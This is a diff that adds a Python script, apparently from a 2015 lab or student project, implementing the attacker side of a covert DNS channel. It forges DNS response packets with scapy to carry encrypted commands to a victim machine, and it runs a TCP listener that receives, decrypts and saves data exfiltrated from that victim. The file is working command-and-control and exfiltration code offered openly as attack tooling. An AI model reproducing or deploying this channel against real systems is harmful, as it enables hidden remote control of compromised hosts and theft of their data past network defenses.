@@ -0,0 +1,2268 @@
+__author__ = 'root'%0A%0A# program name: attackter.py%0A# description: this program define method to create%0A# a covert channel between attacker and victim based%0A# on DNS packet%0A# Athor: He Tian%0A# date: June 12, 2015%0A%0A%0Aimport os%0Afrom scapy.layers.dns import DNSQR, DNS, DNSRR%0Afrom scapy.layers.inet import IP, UDP%0Afrom scapy.all import *%0Aimport threading%0Afrom twisted.internet.protocol import ServerFactory, Protocol%0Afrom twisted.internet import reactor%0Afrom random import randint%0Afrom utility import *%0Aimport ConfigParser%0A%0Ac= ConfigParser.ConfigParser()%0Ac.read(%22config%22)%0A%0Asrc = '142.232.191.38'%0Adst = '192.168.0.21'%0Aaip = '192.168.0.20'%0Asp = 53%0APORT = 8505%0AKEY = '01234567'%0A%0A%0Asrc = c.get(%22server%22,%22src%22)%0Adst = c.get(%22server%22,%22dst%22)%0Aaip = c.get(%22server%22,%22aip%22)%0Asp = c.getint(%22server%22,%22sp%22)%0APORT = c.getint(%22server%22,%22port%22)%0AKEY = c.get(%22server%22,%22key%22)%0A%0Aclass ClientProtocol(Protocol):%0A    buffer = ''%0A%0A%0A    def dataReceived(self, data):%0A        self.buffer += data%0A%0A    def connectionMade(self):%0A        print %22start to reading....%5Cn%22%0A%0A    def connectionLost(self, reason):%0A        print %22connection ends... receved data: %5Cn%22%0A        self.bufferReceived(self.buffer)%0A%0A%0A    def bufferReceived(self, buffer):%0A        self.factory.transfer_finished(buffer)%0A%0A%0Aclass ClientFactory(ServerFactory):%0A   # def __init__(self):%0A   #     self.alldata = %5B%5D%0A%0A    protocol = ClientProtocol%0A%0A    def transfer_finished(self, buffer=None):%0A        if buffer is not None:%0A            text = decrypt(buffer,KEY)%0A       #     print text%0A            f = open(%22sniffed.%22+str(randint(1,65535)), %22w+%22)%0A            f.write(text)%0A            print %22data has been transferred%5Cn%22%0A%0A%0A%0Adef forge_pkt(srcip, dstip, desp, srcp, message, flg):%0A    command = encrypt(message,KEY)%0A    ip = IP(src=srcip, dst=dstip)%0A    udp = UDP(dport=desp, sport=srcp)%0A    dns = DNS(id=1000, qr=1, an=DNSRR(rrname=command, rdata=flg))%0A    pkt = ip / udp / dns%0A    return pkt%0A%0A%0Aif __name__ == %22__main__%22:%0A%0A    f = ClientFactory()%0A    reactor.listenTCP(PORT,f)%0A%0A    t =threading.Thread(target=reactor.run,args=(False,))%0A    t.daemon = True%0A    t.start()%0A%0A    while 1:%0A        message = raw_input()%0A        dp = randint(1,65535)%0A        pkt = forge_pkt(src, dst, dp, sp, message, aip)%0A        send(pkt)%0A        #  server.shutdown()%0A

Create attacker.py